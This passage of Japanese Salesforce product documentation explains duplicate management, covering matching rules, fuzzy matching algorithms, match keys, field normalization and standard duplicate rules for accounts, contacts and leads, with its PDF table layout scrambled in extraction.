に組み込まれる項目で構成されます。各項目には、項目が既存のレコードの同じ項目とどの程度一致し、最終
的にはレコードが一致するかどうかを判断するためにルールで使用する一致条件も含まれています。

一致等式

一致等式ルール名

(First Name  AND Last Name  AND Title  AND
Company Name)

OR (First Name  AND Last Name  AND Email)

取引先責任者の標準一致ルール
リードの標準一致ルール

OR (First Name  AND Last Name  AND Phone AND
Company Name)

OR (First Name  AND Last Name  AND Mailing
Street  AND (City  OR ZIP  OR Phone)

OR (First Name  AND Last Name  AND Mailing
Street  AND Title)

OR (First Name  AND Last Name  AND Title  AND
Email)

OR (First Name  AND Last Name  AND Phone  )

一致条件
各一致条件の定義については、「一致ルールの一致条件」 (ページ 867)を参照してください。

特別な処理空白項目しきい
値

スコアメ
ソッド

一致アルゴリ
ズム

リード
の項目

取引先
責任者
の項目

レコードの [名] 項目と [姓] 項目にど
ちらも値が含まれている場合、データ入

一致しない
(項目のグ
ルーピング

85最大完全
Initials

Jaro-Winkler
Distance

名名

力ミスの可能性を考慮してこれらの値が
転置されます。
たとえば、名が「George」で姓が
「Michael」の場合、名としての

にメールが
含まれてい
る場合、空
白項目は無
視される)

Metaphone 3

Name Variant
「Michael」と姓としての「George」
も一致ルールで評価されます。

レコードの [名] 項目と [姓] 項目にど
ちらも値が含まれている場合、データ入

一致しない
(項目のグ
ルーピング

90最大完全
Keyboard
Distance

姓姓

力ミスの可能性を考慮してこれらの値が
転置されます。
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特別な処理空白項目しきい
値

スコアメ
ソッド

一致アルゴリ
ズム

リード
の項目

取引先
責任者
の項目

たとえば、名が「George」で姓が
「Michael」の場合、名としての

にメールが
含まれてい
る場合、空

Metaphone 3

「Michael」と姓としての「George」
も一致ルールで評価されます。白項目は無

視される)

一致しない50最大Acronym

完全
TitleTitle

Kullback-Liebler
Distance

一致しない70最大Acronym

Edit Distance

会社名Account
Name

完全

一致しない100最大完全メールメール

電話番号はセクションに分割され、セク
ション単位で比較されます。各セクショ

空白項目が
無視される

80加重平均完全電話電話

ンには、独自の一致メソッドと一致スコ市外局番を
アがあります。セクションのスコアを加除き、すべ
重して、項目に 1 つのスコアが求められてのセク
ます。この処理は、北米のデータに最適
です。

ションで一
致しない

• 国際コード (完全、項目の一致スコア
の 10%)

• 市外局番 (完全、項目の一致スコアの
50%)

• 次の 3 桁 (完全、項目の一致スコアの
30%)

• 最後の 4 桁 (完全、項目の一致スコア
の 10%)

たとえば、「1-415-555-1234」および
「1-415-555-5678」という電話番号を
比較するとします。
最後の 4 桁を除き、すべてのセクション
が完全に一致します。項目の一致スコア
は 90 となり、しきい値の 80 を超えてい
るため一致とみなされます。
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特別な処理空白項目しきい
値

スコアメ
ソッド

一致アルゴリ
ズム

リード
の項目

取引先
責任者
の項目

住所はセクションに分割され、セクショ
ン単位で比較されます。各セクションに

一致しない80加重平均Edit Distance

完全
StreetMailing

Street

は、独自の一致メソッドと一致スコアが
あります。セクションのスコアを加重し
て、項目に 1 つのスコアが求められま
す。この処理は、北米のデータに最適で
す。
• 町名 (編集距離、項目の一致スコアの

50%)

• 番地 (完全、項目の一致スコアの 20%)

• 町名・番地のサフィックス (完全、項
目の一致スコアの 15%)

• 部屋番号 (完全、項目の一致スコアの
15%)

たとえば、「123 Market Street,

Suite 100」および「123 Market

Drive, Suite 300」という 2 つの住所
を比較するとします。
番地と町名のみが一致します。項目の一
致スコアは 70 となり、しきい値の 80 を
下回っているため一致とみなされませ
ん。

郵便番号はセクションに分割され、セク
ション単位で比較されます。各セクショ

80加重平均完全ZIP/Postal
Code

Mailing
ZIP/Postal
Code ンには、独自の一致メソッドと一致スコ

アがあります。セクションのスコアを加
重して、項目に 1 つのスコアが求められ
ます。
• 最初の 5 桁 (完全、項目の一致スコア

の 90%)

• 次の 4 桁 (完全、項目の一致スコアの
10%)
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特別な処理空白項目しきい
値

スコアメ
ソッド

一致アルゴリ
ズム

リード
の項目

取引先
責任者
の項目

一致しない85最大Edit Distance

完全
市区郡Mailing

City

関連トピック:

一致ルールの参照

一致ルールの一致条件

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一致ルールでは、条件を使用して、新規レコードまたは編集済みレコードの項
目が既存のレコードの同じ項目とどの程度一致し、最終的には 2 つのレコード
が重複するかどうかが判断されます。カスタム一致ルールを作成する場合は、
特定の条件を定義する必要があります。標準一致ルールの場合、条件はすでに
定義されています。

カスタム
一致ルー
ル用に自
動的に定
義済み

定義条件

比較する項目を示します。項目を選択するときに、次の
点に注意してください。

項目

• 選択可能な項目は、一致ルールが適用されるオブジェ
クトによって異なり、標準項目とカスタム項目の両方
が含まれます。

• サポートされる入力項目の種別は、メール、参照関
係、主従関係、番号、電話番号、標準選択リスト、カ
スタム選択リスト (単一選択のみ)、テキスト、および
URL です。

• 自動採番参照関係項目は一致ルールには使用できませ
ん。

• 組織で [都道府県]および [国]選択リストを有効化す
る場合、[都道府県コード] と [国コード] を一致ルール
で使用することをお勧めします。これらの項目では、
都道府県および国のテキスト項目に比べて、重複の適
切な検出結果が得られます。

項目を比較するメソッドを定義します。完全一致メソッ
ドは、カスタム項目を含むほぼすべての項目に使用でき

一致メ
ソッド

ます。あいまい一致メソッドは、よく使用される標準項
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カスタム一致
ルール用に自
動的に定義済
み

定義条件

目で使用できます。各一致メソッドは、正規化と一致キー定義、一致アルゴリ
ズム、および他の条件でさらに定義されます。
一致メソッドについての詳細は、「一致ルールで使用される一致メソッド」
(ページ 869)を参照してください。

比較対象の 2 項目が一致するとみなされる場合に、空白項目がどのように影響
するかを指定します。項目の 空白項目をマッチング チェックボックスをオン

空白項目の
一致

にし、比較対象の両方のレコードでその項目が空白であれば、項目は一致する
とみなされます。ただし、項目の 空白項目をマッチング チェックボックスを
オンにし、比較対象の 1 つのレコードでのみその項目が空白の場合は、項目は
一致するとみなされません。
項目の 空白項目をマッチング チェックボックスをオンにせず、比較対象の両
方のレコードでその項目が空白であれば、項目は一致するとみなされません。

一致ルールで重複候補のリストをすばやく返せるようにするための数式です。
一致ルールを有効化すると、一致キーを使用してすべてのレコードの一致キー

一致キー

値が生成されます。一致ルールを実行すると、保存したレコードと既存のレコー
ドの一致キー値が比較されます。保存したレコードの一致キー値が既存のレコー
ドと同じ場合は重複の可能性があり、さらに詳しく評価されます。保存したレ
コードの一致キー値が一意の場合、重複とはみなされません。このプロセスに
よって、重複検出の速度とパフォーマンスが向上します。
例を含めた一致キーについての詳細は、「一致ルールで使用される一致キー」
(ページ 874)を参照してください。

2 つの項目が一致するかどうかを判断するロジックを定義します。完全一致メ
ソッドでは、完全一致アルゴリズムが自動的に使用されます。あいまい一致メ

一致アルゴ
リズム

ソッドでは、さまざまなあいまい一致アルゴリズムを使用できます。使用され
る各一致メソッドには、2 つの項目がどの程度一致するかに基づいて一致スコ
アが自動的に付けられます。たとえば、完全一致を選択し、2 つの項目が一致
した場合、一致スコアは 100 になります。2 つの項目が一致しない場合、一致ス
コアは 0 になります。
一致アルゴリズムについての詳細は、「一致メソッドで使用される一致アルゴ
リズム」 (ページ 872)を参照してください。

項目の 1 つの一致スコアを求めるために、一致アルゴリズムの一致スコアがど
のように計算されるかを指定します。使用される各一致メソッドには、2 つの

スコアメ
ソッド

項目がどの程度一致するかに基づいて一致スコアが自動的に付けられます。ス
コアリングメソッドは、標準一致ルールでのみ使用されます。
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カスタム一致
ルール用に自
動的に定義済
み

定義条件

Average: 一致スコアの平均値を使用します。
Maximum: 一致スコアの最大値を使用します。
Minimum: 一致スコアの最小値を使用します。
Weighted Average: 各一致メソッドの加重を使用して、一致スコアの平均値を
求めます。

項目が一致するとみなされるために必要な最小一致スコアを指定します。項目
には、既存のレコードの同じ項目とどの程度一致するかに基づいて一致スコア
が自動的に付けられます。

しきい値

関連トピック:

一致ルールの参照
重複管理の使用に関する考慮事項

一致ルールで使用される一致メソッド

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一致メソッドは、1 つのレコードの特定の項目を別のレコードの同じ項目と比較
する方法を指定する、一致ルールの一致条件の一部です。各一致メソッドは、
正規化条件、一致キー定義、一致アルゴリズム、および他の条件でさらに定義
されます。
完全一致メソッドでは、パターンが完全に一致する文字列が検索されます。国
際データを使用している場合は、一致ルールで完全一致メソッドを使用するこ
とをお勧めします。完全一致メソッドは、カスタム項目を含むほぼすべての項
目に使用できます。
あいまい一致メソッドでは、パターンがほぼ一致する文字列が検索されます。
あいまい一致メソッドは、取引先、取引先責任者、およびリードのよく使用さ
れる標準項目で使用できます。

特別な処理しきい値スコアメ
ソッド

一致アルゴ
リズム

一致メソッド

Exact完全

[ミドルネーム]項目は、一
致ルールで使用されている

85最大Exact

Initials

あいまい: 名

場合に、[あいまい: 名] 一致
メソッドで比較されます。

Jaro-Winkler

Name Variant
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特別な処理しきい値スコアメソッ
ド

一致アルゴリズ
ム

一致メソッド

90最大Exact

Keyboard Distance

あいまい: 姓

Metaphone 3

項目を比較する前に、Incや Corpな
どの単語を削除します。また、会社名

70最大Acronym

Exact

あいまい: 会社名

も正規化されます。たとえば、IBMSyllable Alignment
は International Business

Machines に正規化されます。

電話番号はセクションに分割され、セ
クション単位で比較されます。各セク

80加重平均Exactあいまい: 電話

ションには、独自の一致メソッドと一
致スコアがあります。セクションのス
コアを加重して、項目に 1 つのスコア
が求められます。この処理は、北米の
データに最適です。
• 国際コード (完全、項目の一致スコ

アの 10%)

• 市外局番 (完全、項目の一致スコア
の 50%)

• 次の 3 桁 (完全、項目の一致スコア
の 30%)

• 最後の 4 桁 (完全、項目の一致スコ
アの 10%)

たとえば、「1-415-555-1234」およ
び「1-415-555-5678」という電話番
号を比較するとします。
最後の 4 桁を除きすべてのセクション
が一致するため項目の一致スコアは
90 となり、しきい値の 80 を超えてい
るため一致とみなされます。

85最大Edit Distance

Exact

あいまい: 市区郡

住所はセクションに分割され、セク
ション単位で比較されます。各セク

80加重平均Exactあいまい: 町名・番
地

ションには、独自の一致メソッドと一
致スコアがあります。セクションのス
コアを加重して、項目に 1 つのスコア
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特別な処理しきい値スコアメソッ
ド

一致アルゴリズ
ム

一致メソッド

が求められます。この処理は、北米の
データに最適です。
• 町名 (編集距離、項目の一致スコア

の 50%)

• 番地 (完全、項目の一致スコアの
20%)

• 町名・番地のサフィックス (完全、
項目の一致スコアの 15%)

• 部屋番号 (完全、項目の一致スコア
の 15%)

たとえば、「123 Market Street,

Suite 100」および「123 Market

Drive, Suite 300」という 2 つの請
求先町名・番地を比較するとします。
町名と番地のみが一致するため項目の
一致スコアは 70 となり、しきい値の
80 を下回っているため一致とみなさ
れません。

郵便番号はセクションに分割され、セ
クション単位で比較されます。各セク

80加重平均Exactあいまい: 郵便番号

ションには、独自の一致メソッドと一
致スコアがあります。セクションのス
コアを加重して、項目に 1 つのスコア
が求められます。
• 最初の 5 桁 (完全、項目の一致スコ

アの 90%)

• 次の 4 桁 (完全、項目の一致スコア
の 10%)

たとえば、「94104–1001」および
「94104」という郵便番号を比較する
とします。
最初の 5 桁のみが一致するため項目の
一致スコアは 90 となり、しきい値の
80 を超えているため一致とみなされ
ます。
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特別な処理しきい値スコアメソッ
ド

一致アルゴリズ
ム

一致メソッド

50最大Acronym

Exact

あいまい: 役職

Kullback-Liebler
Distance

関連トピック:

一致ルールの一致条件
一致メソッドで使用される一致アルゴリズム

一致メソッドで使用される一致アルゴリズム

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一致メソッドとその対応する一致アルゴリズムは、一致ルールの一致条件の一
部です。この両方により、1 つのレコードの特定の項目を別のレコードの同じ項
目と比較する方法、および両方の項目が一致したとみなされるかどうかが決ま
ります。
完全一致メソッドと各種のあいまい一致メソッドがあります。完全一致メソッ
ドが選択されていると、項目の比較に完全一致アルゴリズムが自動的に使用さ
れます。いずれかのあいまい一致メソッドが選択されていると、項目の比較に
さまざまなあいまい一致アルゴリズムが使用されます。複数の一致アルゴリズ
ムを使用して項目を比較でき、項目がどの程度一致するかに基づいて各一致ア
ルゴリズムに一致スコアが付けられます。一致アルゴリズムで比較する項目で
は、大文字と小文字は区別されません。
一致メソッドについての詳細は、「一致ルールで使用される一致メソッド」
(ページ 869)を参照してください。
完全一致メソッドで使用できる一致アルゴリズム

説明一致アルゴリズム

2 つの文字列が同じかどうかを判断します。たとえ
ば、salesforce.com と Salesforce は、完全に同じではない
ため一致とみなされず、一致スコア 0 が返されます。

Exact

あいまい一致メソッドで使用できる一致アルゴリズム

説明一致アルゴリズム

会社名がその頭字語と一致するかどうかを判断します。たとえば、「Advanced

Micro Devices」とその頭字語「AMD」は一致とみなされ、一致スコア 100 が返
されます。

Acronym
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説明一致アルゴリズム

1 つの文字列を別の文字列に変換するために必要な削除、挿入、または文字
の置換数に基づいて、2 つの文字列の類似性を判断します。たとえば、「VP

Sales」は、一致スコア 73 で「VP of Sales」と一致します。

Edit Distance

2 つの人名のイニシャルの類似性を判断します。たとえば、「Jonathan」とい
う名前とそのイニシャル「J」は一致し、一致スコア 100 が返されます。

Initials

1 つの文字列を別の文字列に変換するために必要な文字の置換数に基づい
て、2 つの文字列の類似性を判断します。このメソッドは、人名などの短い

Jaro-Winkler Distance

文字列に最適です。たとえば、「Johnny」は、一致スコア 97 で「Johny」と
一致します。

1 つの文字列を別の文字列に変換するために必要な削除、挿入、または文字
の置換数に基づいて、2 つの文字列の類似性を判断します。キーボード上の
キーの位置が加重されます。

Keyboard Distance

共通する単語のパーセントに基づいて、2 つの文字列の類似性を判断しま
す。たとえば、「Director of Engineering」は、一致スコア 65 で「Engineering

Director」と一致します。

Kullback Liebler Distance

サウンドに基づいて、2 つの文字列の類似性を判断します。このアルゴリズ
ムでは、言語間の不規則性が考慮され、名と姓に適しています。たとえば、
「Joseph」は、一致スコア 100 で「Josef」と一致します。

Metaphone 3

2 つの名前が互いに他のバリエーションであるかどうかを判断します。たと
えば、「Bob」は「Robert」のバリエーションであり、一致スコア 100 が返さ

Name Variant

れます。「Bob」は「Bill」のバリエーションではないため、一致スコア 0 が
返されます。

サウンドに基づいて、2 つの文字列の類似性を判断します。まず、文字列が
音節文字列に変換されます。次に、Edit Distanceアルゴリズムを使用して、音

Syllable Alignment

節文字列も比較されてスコアが付けられます。この一致アルゴリズムは、会
社名に適しています。
たとえば、Syllable Alignment では「Department of Energy」と「Department of Labor」
の一致スコアは比較的低い 59 になります。これは、この 2 つの会社名の音
節の並びが文字の並びと比べて違いが大きいためです (「energy」と「labor」
は大きく異なって聞こえます)。Edit Distance では、この文字列のスコアは 74

になります。したがって、この 2 つの文字列は一致ではないとみなされるべ
きであるため、Syllable Alignment の方が適しています。

関連トピック:

一致ルールの参照
一致ルールで使用される一致メソッド
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一致ルールで使用される一致キー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一致キーにより、一致ルールの有効性が向上します。一致キーを使用して標準
一致ルールの一致キー値が作成される方法を確認してください。一致キーを理
解すると、重複検出のしくみを理解するのに役立ちます。
一致キーは、一致ルールで重複候補のリストをすばやく返せるようにするため
の数式です。
一致ルールを有効化すると、一致キーを使用してすべてのレコードの一致キー
値が作成されます。一致ルールを実行すると、保存したレコードと既存のレコー
ドの一致キー値が比較されます。保存したレコードの一致キー値が既存のレコー
ドと同じ場合は重複の可能性があり、さらに詳しく評価されます。保存したレ
コードの一致キー値が一意の場合、重複とはみなされません。まれに、一致キー
の使用で重複が検出されない場合があります。これはほとんど発生することは
なく、発生したとしても、一致キーを使用する利点はこの欠点を大きく上回り
ます。

一致キーおよび一致キー値が作成される方法
1. 一致ルール等式 (つまり項目の配置) は、OR ステートメントを AND ステートメントに変換する標準化された

形式に書き換えられます。
2. 一致ルール内の項目の値が正規化されます。
3. 標準化された項目形式で指定された項目の組み合わせを使用して、一致キーが作成されます。一致ルール

には複数の一致キーを含めることができます。標準一致ルール、または標準項目を組み合わせたカスタム
ルールの場合、定義済み一致キーが使用されます。

4. 一致キーを使用して、各レコードの正規化された項目値が組み合わせられます。これで一致キー値の完成
です。

メモ: 現在、[役職] および [町名・番地] 項目には一致キーは作成されません。そのため、これらの項目
が一致ルールに含まれていると、一致キーは生成されません。

一致キー表記
一般的な一致キー表記では、一致キーで使用される項目およびその項目内の文字が示されます。

• 一致キーに使用される項目 (1)
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• 一致キーに含める、項目値内の単語 (またはトークン) の数 (2)。数値がない場合は、すべての単語が含まれ
ます。

• 一致キーに含める、単語あたりの文字数 (3)。数値がない場合は、すべての文字が含まれます。
• 一致キーに使用される他の項目 (4)

メモ: 各カスタム一致ルールには、一致キーを最大 10 個しか含めることができないため、10 個より多く
の一致キーを必要とする一致ルールは保存できません。

標準一致ルールの定義済み一致キー
標準一致ルールは、定義済み一致キーを使用します。

一致キー値の例適用されるオブ
ジェクト

一致キー表記

取引先: Orange Sporting Company = orangesporti

市区郡: San Francisco = sanfra

取引先Company (2,6) City (_, 6)

キー: orangesportisanfra

取引先名: salesforce.com = orangesports

郵便番号: 94105-5188 = 941

取引先Company (2,6) ZIP (1,3)

キー: salesf941

メール: john_doe@us.ibm.com = johndoe@ibm.com

キー: johndoe@ibm.com

取引先責任者
リード

Email

名: John = j

姓: Doe = doe = t (ダブルメタフォンを適用する)

取引先責任者
リード

First_Name (1,1) Last_Name Email

メール: john_doe@us.salesforce.com =
johndoe@salesforce.com

キー: jt@salesforce.com

名: Marc = m

姓: Benioff = pnf (ダブルメタフォンを適用する)

取引先責任者
リード

First_Name (1,1) Last_Name Company (2,5)

会社名: salesforce.com = sales

キー: mpnfsales

名: Marc = m

姓: Benioff = pnf (ダブルメタフォンを適用する)

取引先責任者
リード

First_Name (1,1) Last_Name Phone

電話: 1-415-555-1234 = 415555

Key: mpnf415555
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一致キー値の例適用されるオブ
ジェクト

一致キー表記

Web サイト: https://www.salesforce.com = salesforce.com

市区郡: San Francisco = sanfra

取引先Website City (_,6)

キー: salesforce.comsanfra

Web サイト: https://www.salesforce.com = salesforce.com

郵便番号: 94105-5188 = 941

取引先Website ZIP (1,3)

キー: salesforce.com941

カスタム一致ルールでも、これらの定義済み一致キーが使用される場合があります。たとえば、カスタム取引
先責任者一致ルールの一致ルール等式が ([名]  AND [姓]  AND [会社]) の場合、少なくとも 1 つの項目であいま
い一致メソッドが選択されます。その場合、一致キーの表記は First_Name (1,1) Last_Name Company (2,6) となりま
す。

関連トピック:

一致ルールの参照
一致ルールの一致条件
一致ルールの一致キーの正規化条件

一致ルールの一致キーの正規化条件

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一致キー値の作成プロセスの一環として、一致ルール項目値が正規化されます。
項目値が正規化される方法は、その項目の一致メソッドなど、一致ルールで指
定されたいくつかの要因によって異なります。さらに、標準一致ルールで使用
される一部の使用頻度の高い項目は、重複検出を最適化するために特別に正規
化されます。

例標準およびカスタ
ム一致ルールに適
用されるか?

正規化の詳細項目

IBM = international
business machines

Intel Corp. = intel

はい。ただしカス
タム一致ルールで
は、[一致メソッ
ド] で [あいまい:

頭字語を展開します。すべ
ての文字を小文字にしま
す。法人、
Incorporated、Inc、

会社

会社名]を選択すLimited、Ltd などのサ
フィックスを削除します。 る必要がありま

す。and、the、/などのストッ
プワードを削除します。特
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例標準およびカスタム一致
ルールに適用されるか?

正規化の詳細項目

殊文字およびアクセントを削除しま
す。

Dr. Jane = j

Mr. Bob= robert = r

はい。ただしカスタム一
致ルールでは、[一致メ
ソッド] で [あいまい:

名を別名に置き換えます (該当する場
合)。敬称、特殊文字、およびアクセン
トを削除します。最初の単語の最初の
文字のみを保持し、この文字を小文字
にします。

名

名]を選択する必要があ
ります。

O’Reilly, Jr. = oreily (ダブルメタフォ
ンを適用しない)

O’Reilly, Jr. = oreily = arl (ダブルメタ
フォンを適用する)

はい。ただしカスタム一
致ルールでは、[一致メ
ソッド] で [あいまい:

姓]を選択する必要があ
ります。

特殊文字およびサフィックスを削除し
ます。連続する同じ子音を 1 つの子音
に置き換えます。最初の文字を小文字
にします。正規化の後、ダブルメタ
フォンアルゴリズムが適用され、スペ
ルミスやスペルバリアントが考慮され
ます。

姓

john.doe@us.salesforce.com =
johndoe@salesforcecom

いいえ。標準一致ルール
にのみ適用されます。

アンダースコアやピリオドなどの特殊
文字を、メールアドレスの両方の部分
から削除します。「@」文字は保持し
ます。

メール

1-800-555-1234 = 800555

4420 0540 0202 = 44200540

はい。ただしカスタム一
致ルールでは、[一致メ
ソッド] で [あいまい: 電

数値および英字以外のすべての文字を
削除します。米国の電話番号の場合
は、英字を数字に変換し、先頭の国際
コードを削除します。最後の 4 桁を削
除します。

電話

話]を選択する必要があ
ります。

http://www.us.salesforce.com/product
= salesforce.com

http://www.ox.ac.uk/ = ox.ac.uk

いいえ。標準一致ルール
にのみ適用されます。

プロトコル (http)、サブドメイン
(www)、ファイルパスを削除します。
国際指定の有無に応じて、最後の 2 つ
または 3 つのトークンのみを取得しま
す。ピリオドは保持します。

Web サイ
ト

メモ: カスタム項目、一致ルールで完全一致メソッドを使用する項目などその他の項目は、すべての文字
を小文字にし、先頭と末尾の空白を削除して正規化されます。

関連トピック:

一致ルールの参照
一致ルールの一致条件
一致ルールで使用される一致キー
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一致の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

この一致ルールの実例では、レコードが比較され重複として評価される方法が
示されています。

例: あいまい一致メソッドを使用したリードのカスタム一致ルール

表 3 : 一致条件
一致メソッド項目

あいまい: 会社名会社1

完全メール2

あいまい: 電話電話3

一致等式は ([会社]  OR [メール]) AND ([電話])

これらの一致条件に基づき、一致は次のように動作します。
1. 既存のリードの一致キー値が生成されます。一致等式と指定された一致

メソッドに基づき、2 つの一致キーが作成されます。これらのキーから
一致キー値が生成されます。

表 4 : 一致キー
サンプル
一致キー
値

サンプル一致項目値一致キー標準化された形式の
一致等式

globalguitar415123[会社]  = Global Guitars Inc.

[電話]  = 415-123-4567

Company
(2,6) Phone

([会社]  AND [電話])
OR

sally.smith@globalguitars.com415123[メール]  =
sally.smith@globalguitars.com

[電話]  = 415-123-4567

Email Phone([メール]  AND [電
話])

2. 新規レコードの一致キー値が生成されます。これは新規レコードが保存
された直後に実行されます。

表 5 : 新規レコード
一致キー値一致項目値

eltiesports415555

john.doe@elitesport.com415555

[会社]  = Eltie Sports

[メール]  = john.doe@elitesport.com

[電話]  = 1-415-555-1234
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3. 新規レコードと既存レコードの一致キー値が比較されます。

表 6 : 新規レコードと比較する既存のレコード
一致?一致キー値一致項目値レ

コー
ド

いいえ。重複とはみなされま
せん。

elitesports415555

john.doe@elitesports.com415555

[会社]  = Eltie Sports

[メール]  = john.doe@elitesport.com

1

[電話]  = 1-415-555-1234

はい。最初の一致キー値は一
致しません。ただし、2 番目

elitesport415555

john.doe@elitesport.com415555

[会社]  = Elite Sport

[メール]  = john.doe@elitesport.com

2

の一致キー値が同一であるた
[電話]  = 1-415-555-1234 め、レコードは重複候補とみ

なされます。1 つの一致キー
値の一致のみが必要です。

4. 新規レコードが重複候補であるかどうかを判別します。新規レコードに既存のレコードと同じ一致
キー値がありますか?

• はい — 新規レコードは重複候補とみなされます。一致アルゴリズムなどの他の一致リソースを使
用してさらに詳しく評価されます。

• いいえ — 新規レコードは重複とみなされません。

例: 完全一致メソッドを使用した取引先責任者のカスタム一致ルール

表 7 : 一致条件
一致メソッド項目

完全市区郡1

完全メール2

完全電話3

一致等式は ([市区町村]  OR [メール]) AND ([電話])

これらの一致条件に基づき、一致は次のように動作します。
1. 既存の取引先責任者の一致キー値が生成されます。一致等式と指定された一致メソッドに基づき、2

つの一致キーが作成されます。これらのキーから一致キー値が生成されます。
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表 8 : 一致キー
サンプル一致
キー値

サンプル一致項目値一致キー標準化された形式の一致等式

san
franciscojohn.doe@elitesports.com

[市区町村]  = San Francisco

[メール]  = john.doe@elitesport.com

City Email([市区町村]  AND [メール]) OR

san
francisco415-555-1234

[市区町村]  = San Francisco

[電話]  = 415-555-1234

City Phone([市区町村]  AND [電話])

2. 新規レコードの一致キー値が生成されます。これは新規レコードが保存された直後に実行されます。

表 9 : 新規レコード
一致キー値一致項目値

san franciscojohn.doe@elitesports.com

san francisco1-415-555-1234

[市区町村]  = San Francisco

[メール]  = john.doe@elitesport.com

[電話]  = 1-415-555-1234

3. 新規レコードと既存レコードの一致キー値が比較されます。

表 10 : 新規レコードと比較する既存のレコード
一致?一致キー値一致項目値レ

コー
ド

いいえ。重複とはみなされま
せん。

san
frnciscojohn.doe@elitesports.com

san frncisco1-415-555-1234

[市区町村]  = San Frncisco

[メール]  = john.doe@elitesport.com

[電話]  = 1-415-555-1234

1

はい。最初の一致キー値が同
一であるため、レコードは重

san
franciscojohn.doe@elitesports.com

san francisco1-415-555-1111

[市区町村]  = San Francisco

[メール]  = john.doe@elitesport.com

[電話]  = 1-415-555-1111

2

複候補とみなされます。1 つ
の一致キー値の一致のみが必
要です。

4. 新規レコードが重複候補であるかどうかを判別します。新規レコードに既存のレコードと同じ一致
キー値がありますか?

• はい — 新規レコードは重複候補とみなされます。一致アルゴリズムなどの他の一致リソースを使
用してさらに詳しく評価されます。
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• いいえ — 新規レコードは重複とみなされません。

関連トピック:

一致ルールの参照

重複ルールの参照
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

重複ルールのしくみとその使用方法を理解するのに役立つ追加情報を示します。

標準重複ルール
取引先、取引先責任者、リードには、標準重複ルールがデフォルトで設定さ
れて有効になります。個人取引先の標準重複ルールを使用するには、[設定]

で個人取引先を有効にしてから、個人取引先の標準一致ルールと重複ルール
を有効にします。重複ルールは、ユーザが重複レコードを保存しようとした
ときの処理を定義します。各標準重複ルールには、2 つのレコードを重複と
識別する方法を決定する、対応する標準一致ルールがあります。

標準重複ルール

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

取引先、取引先責任者、リードには、標準重複ルールがデフォルトで設定され
て有効になります。個人取引先の標準重複ルールを使用するには、[設定] で個人
取引先を有効にしてから、個人取引先の標準一致ルールと重複ルールを有効に
します。重複ルールは、ユーザが重複レコードを保存しようとしたときの処理
を定義します。各標準重複ルールには、2 つのレコードを重複と識別する方法を
決定する、対応する標準一致ルールがあります。

取引先の標準重複ルール
すべての重複ルールと同様に、取引先レコードに使用される標準重複ルール
は、重複レコードを保存しようとしたときの処理を定義します。新しい取引
先を保存しようとすると、アラートが表示されます。
個人取引先の標準重複ルール
個人取引先に使用する標準重複ルールでは、重複した個人取引先レコードを保存しようとしたときの処理
を定義します。このルールを使用するには、[設定] で個人取引先を有効にしてから、個人取引先の標準一
致ルールと標準重複ルールを有効にします。
取引先責任者の標準重複ルール
すべての重複ルールと同様に、取引先管理者レコードに使用される標準重複ルールは、重複レコードを保
存しようとしたときの処理を定義します。新しい取引先責任者を保存しようとすると、アラートが表示さ
れます。
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リードの標準重複ルール
すべての重複ルールと同様に、リードレコードに使用される標準重複ルールは、重複レコードを保存しよ
うとしたときの処理を定義します。新しいリードを保存しようとすると、アラートが表示されます。

関連トピック:

個人取引先の有効化

取引先の標準重複ルール
すべての重複ルールと同様に、取引先レコードに使用される標準重複ルールは、重複レコードを保存しようと
したときの処理を定義します。新しい取引先を保存しようとすると、アラートが表示されます。

ルールの詳細

Standard Account Duplicate Ruleルール名

取引先レコードのルールを複製説明

取引先Object

共有ルールを適用レコードレベルセキュ
リティ

アクション
アクションは、重複レコードを保存しようとしたときの処理を指定します。

許可: アラートおよびレポート作成時のアクション

許可: レポート編集時のアクション

重複アラートアラートテキスト

一致ルール
一致ルールは、重複の識別方法を定義します。重複ルールには、一致ルールを少なくとも 1 つ指定する必要が
あります。

取引先取引先の比較対象

取引先の標準一致ルール一致ルール

取引先レコードのマッチングルール一致条件

対応付けが選択されています項目の対応付け
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個人取引先の標準重複ルール
個人取引先に使用する標準重複ルールでは、重複した個人取引先レコードを保存しようとしたときの処理を定
義します。このルールを使用するには、[設定] で個人取引先を有効にしてから、個人取引先の標準一致ルール
と標準重複ルールを有効にします。

重複ルール

個人取引先の標準重複ルールルール名

個人取引先レコードの重複ルール説明

個人取引先オブジェクト

共有ルールを適用レコードレベルセキュ
リティ

アクション
アクションは、重複レコードを保存しようとしたときの処理を指定します。

許可: アラートおよびレポート作成時のアクション

許可: レポート編集時のアクション

重複アラートアラートテキスト

一致ルール
一致ルールは、重複の識別方法を定義します。重複ルールには、一致ルールを少なくとも 1 つ指定する必要が
あります。

個人取引先取引先の比較対象

個人取引先の標準一致ルール一致ルール

個人取引先レコードの一致ルール一致条件

対応付けが選択されています項目の対応付け

関連トピック:

個人取引先の有効化

取引先責任者の標準重複ルール
すべての重複ルールと同様に、取引先管理者レコードに使用される標準重複ルールは、重複レコードを保存し
ようとしたときの処理を定義します。新しい取引先責任者を保存しようとすると、アラートが表示されます。
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ルールの詳細

Standard Contact Duplicate Ruleルール名

取引先責任者レコードのルールを複製説明
Contactオブジェクト

共有ルールを適用レコードレベルセキュ
リティ

アクション
アクションは、重複レコードを保存しようとしたときの処理を指定します。

許可: アラートおよびレポート作成時のアクション

許可: レポート編集時のアクション
